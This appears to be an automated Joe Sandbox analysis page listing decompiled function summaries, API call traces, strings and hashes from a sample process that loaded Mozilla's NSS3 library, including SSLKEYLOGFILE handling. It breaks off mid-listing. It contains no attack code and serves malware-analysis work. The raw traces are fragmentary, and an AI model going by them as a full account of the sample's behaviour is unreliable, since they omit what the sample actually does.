Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

PR_SetError.NSS3(00000000,00000000), ref: 6C58316D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 11e05398e5f8b113498d8960312281d601e224e7520bdcf100dee0090313f042
Instruction ID: e31e3c04c2334ff81477ab54e20839a6b31c9ff384473710fb1f822ea436e666
Opcode Fuzzy Hash: 11e05398e5f8b113498d8960312281d601e224e7520bdcf100dee0090313f042
Instruction Fuzzy Hash: E1F19BB1D01229EFDF00DFA5DC84AAEBBB4BF49318F144169EC05A7711EB31A985CB91

Function 6C5AC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6C5AAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C5AC98E

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6C5AAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C5AC9A1

Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A10F3
Part of subcall function 6C5A10C0: EnterCriticalSection.KERNEL32(?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A110C
Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1141
Part of subcall function 6C5A10C0: PR_Unlock.NSS3(?,?,?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A1182
Part of subcall function 6C5A10C0: TlsGetValue.KERNEL32(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6C5AAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C5AC9D3

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6C5AAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C5AC9E6

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6C5AAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6C5AC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6C5AAEB0,?,00000004,00000001,?,00000000,?), ref: 6C5ACA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6C5AAEB0,?,00000004,00000001), ref: 6C5ACA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6C5AAEB0,?,00000004), ref: 6C5ACA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6C5ACA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5AAEB0,?,00000004), ref: 6C5ACA6D
PR_Now.NSS3 ref: 6C5ACAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C5ACB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6C5ACB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6C5ACB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6C5ACBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C5ACBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C5ACBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C5ACC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6C5ACC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C5ACC5B

Part of subcall function 6C5A10C0: PL_ArenaAllocate.NSS3(?,6C548802,00000000,00000008,?,6C53EF74,00000000), ref: 6C5A116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C5ACC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C5ACC89

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: 2b72864bb27751da8f821cce18d12c2684e0b0152f3c2e16d086d4440dbeecb7
Instruction ID: ac629b33b9da72fa941595529a28158b14fbe1bcbd8bc0b90b7343737aeaf1f4
Opcode Fuzzy Hash: 2b72864bb27751da8f821cce18d12c2684e0b0152f3c2e16d086d4440dbeecb7
Instruction Fuzzy Hash: DFB17DB5D00246EFEB00DFA6DC41BAE77B4BF58308F104125E814A7752EB72E995CBA1

Function 6C5829A0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,^jUl,00000001,00000000,?,6C556540,?,0000000D,00000000), ref: 6C582A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,^jUl,00000001,00000000,?,6C556540,?,0000000D,00000000), ref: 6C582A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,^jUl,00000001,00000000,?,6C556540,?,0000000D), ref: 6C582A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jUl,00000001), ref: 6C582AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,^jUl,00000001,00000000), ref: 6C582ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,^jUl,00000001), ref: 6C582ADF
PR_Unlock.NSS3(?), ref: 6C582B38
PR_Unlock.NSS3(?), ref: 6C582B8B

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,^jUl,00000001,00000000,?,6C556540,?,0000000D,00000000,?), ref: 6C582CA2

Strings

^jUl, xrefs: 6C5829A5
@eUl, xrefs: 6C582A18, 6C582A22
@eUl, xrefs: 6C5829E7, 6C582A1D

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID: @eUl$@eUl$^jUl
API String ID: 2580468248-2854744602
Opcode ID: d0ce9fc94e28c01ac72bca0e4b0650e02d59eb0f571ea23f603d48253f9ddb67
Instruction ID: 73a7e15ffd50c11373ab3ee642b563ad191eadffabf72bb0d74bfbb2acec5eed
Opcode Fuzzy Hash: d0ce9fc94e28c01ac72bca0e4b0650e02d59eb0f571ea23f603d48253f9ddb67
Instruction Fuzzy Hash: B7B1D071D02215EFDB10DF69DD88BAABBB4FF49308F548529E846A3B11E731E840CB91

Function 6C5825D0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C55662E,?,?), ref: 6C58264E
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C55662E,?,?), ref: 6C582670
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C55662E,?), ref: 6C582684
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C5826C2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,?), ref: 6C5826E0
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6C5826F4
PR_Unlock.NSS3(?), ref: 6C58274D
PR_SetError.NSS3(00000000,00000000), ref: 6C5828A9

Part of subcall function 6C593440: PK11_GetAllTokens.NSS3 ref: 6C593481
Part of subcall function 6C593440: PR_SetError.NSS3(00000000,00000000), ref: 6C5934A3
Part of subcall function 6C593440: TlsGetValue.KERNEL32 ref: 6C59352E
Part of subcall function 6C593440: EnterCriticalSection.KERNEL32(?), ref: 6C593542
Part of subcall function 6C593440: PR_Unlock.NSS3(?), ref: 6C59355B

PR_Unlock.NSS3(?), ref: 6C5827A1
PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,?,-00000001,?,?,?,6C55662E,?,?,?), ref: 6C5827B5
PR_Unlock.NSS3(?), ref: 6C5827CE
TlsGetValue.KERNEL32 ref: 6C5827E8
EnterCriticalSection.KERNEL32(0000001C), ref: 6C582800

Part of subcall function 6C58F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C58F854
Part of subcall function 6C58F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C58F868
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C58F882
Part of subcall function 6C58F820: free.MOZGLUE(04C483FF,?,?), ref: 6C58F889
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C58F8A4
Part of subcall function 6C58F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C58F8AB
Part of subcall function 6C58F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C58F8C9
Part of subcall function 6C58F820: free.MOZGLUE(280F10EC,?,?), ref: 6C58F8D0

PR_Unlock.NSS3(?), ref: 6C582834
TlsGetValue.KERNEL32 ref: 6C58284E
EnterCriticalSection.KERNEL32(0000001C), ref: 6C582866

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Strings

.fUl, xrefs: 6C582618, 6C582632
.fUl, xrefs: 6C58261B, 6C58269B, 6C5826CA, 6C582780, 6C582890, 6C582635, 6C58269E, 6C582738, 6C582783

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalSection$Unlock$Enterfree$DeleteError$K11_calloc$ImportPublicTokens
String ID: .fUl$.fUl
API String ID: 544520609-257658795
Opcode ID: e555982de1fc4502ca4ada1659e3a8f6cdaa52a25fb2f0544656667fb2535cf5
Instruction ID: 3754488d8f16969d8c20e1494d41f6c632d405f99655d88a5d39a72e9510dd81
Opcode Fuzzy Hash: e555982de1fc4502ca4ada1659e3a8f6cdaa52a25fb2f0544656667fb2535cf5
Instruction Fuzzy Hash: A6B1B2B1901215DFDF00DF6ADD88AAABBB4FF49308F545529E806A7B01EB31E944CF91

Function 6C54C4B0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C54C4D5

Part of subcall function 6C59BE30: SECOID_FindOID_Util.NSS3(6C55311B,00000000,?,6C55311B,?), ref: 6C59BE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C54C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C54C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C54C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6C54C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6C54C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6C54C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C54C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C54C751
PL_FinishArenaPool.NSS3(?), ref: 6C54C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C54C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6C54C7A9

Strings

security, xrefs: 6C54C63F
guFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.e, xrefs: 6C54C6A9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: guFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.exeplqclDguFqrcUHKsSHCMFSEG.e$security
API String ID: 1085474831-236016343
Opcode ID: e29eb777698a91143d483a4592084ac841ff1775eb49ed5bdca34cbab1e8e6d5
Instruction ID: 4e72eef45f34e70bfeaa91c25957d7ed1164f61f43c368a78a4545c171506631
Opcode Fuzzy Hash: e29eb777698a91143d483a4592084ac841ff1775eb49ed5bdca34cbab1e8e6d5
Instruction Fuzzy Hash: 2981D671D011089BEF00EA95DC84BEE7B74EF8131CF24C129ED05A6A52E721F94DCAA6

Function 6C584C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C584C4C
EnterCriticalSection.KERNEL32(?), ref: 6C584C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C584CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C584CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C584CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C584D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C584D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C584DB7

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

TlsGetValue.KERNEL32 ref: 6C584DD7
EnterCriticalSection.KERNEL32(?), ref: 6C584DEC
PR_Unlock.NSS3(?), ref: 6C584E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C584E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C584E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C584E71
free.MOZGLUE(00000000), ref: 6C584E7A
PR_Unlock.NSS3(?), ref: 6C584EA2
TlsGetValue.KERNEL32 ref: 6C584EC1
EnterCriticalSection.KERNEL32(?), ref: 6C584ED6
PR_Unlock.NSS3(?), ref: 6C584F01
free.MOZGLUE(00000000), ref: 6C584F2A

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 3ce7da8bd8cb398b6ee30e619ba85a3b58c3cecc97b3d1693ac1c2c290e06c15
Instruction ID: 564b942b51a1e2281ad311f4ce5bc1c15ef5f51e78c911016451740756c3f23e
Opcode Fuzzy Hash: 3ce7da8bd8cb398b6ee30e619ba85a3b58c3cecc97b3d1693ac1c2c290e06c15
Instruction Fuzzy Hash: C8B11471A01216DFDB00EF69DC94BAA77B8BF49318F044129EC1597B01EB30E964CBE2

Function 6C5D6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C5D6BF7), ref: 6C5D6EB6

Part of subcall function 6C531240: TlsGetValue.KERNEL32(00000040,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531267
Part of subcall function 6C531240: EnterCriticalSection.KERNEL32(?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C53127C
Part of subcall function 6C531240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531291
Part of subcall function 6C531240: PR_Unlock.NSS3(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C5312A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C67FC0A,6C5D6BF7), ref: 6C5D6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C5D6EFC
PR_NewLock.NSS3 ref: 6C5D6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C5D6BF7), ref: 6C5D6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C5D6BF7), ref: 6C5D6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C5D6BF7), ref: 6C5D6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C5D6BF7), ref: 6C5D6FFD

Strings

SSLFORCELOCKS, xrefs: 6C5D6F2B
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C5D6EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C5D6FF8
SSLKEYLOGFILE, xrefs: 6C5D6EB1
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C5D6FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C5D6F4F

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: f2976e5ef4ea0db7e702bf2f3f5a3654d12ab288078391cb2591fabcf06c392c
Instruction ID: e2e5725dda081e0525c26c89975292c7b489e8fe5a9ac16037420bf4852eca7e
Opcode Fuzzy Hash: f2976e5ef4ea0db7e702bf2f3f5a3654d12ab288078391cb2591fabcf06c392c
Instruction Fuzzy Hash: 0BA15973A56F8186E700967DDC4134836E1AB973A9F194BA9E832C7EDCDB31B440874E

Function 6C5DA6D0 Relevance: 30.0, APIs: 3, Strings: 14, Instructions: 215memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D6E90: PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C5D6BF7), ref: 6C5D6EB6
Part of subcall function 6C5D6E90: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C67FC0A,6C5D6BF7), ref: 6C5D6ECD
Part of subcall function 6C5D6E90: ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5D6EE0
Part of subcall function 6C5D6E90: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C5D6EFC
Part of subcall function 6C5D6E90: PR_NewLock.NSS3 ref: 6C5D6F04
Part of subcall function 6C5D6E90: fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C5D6F18
Part of subcall function 6C5D6E90: PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C5D6BF7), ref: 6C5D6F30
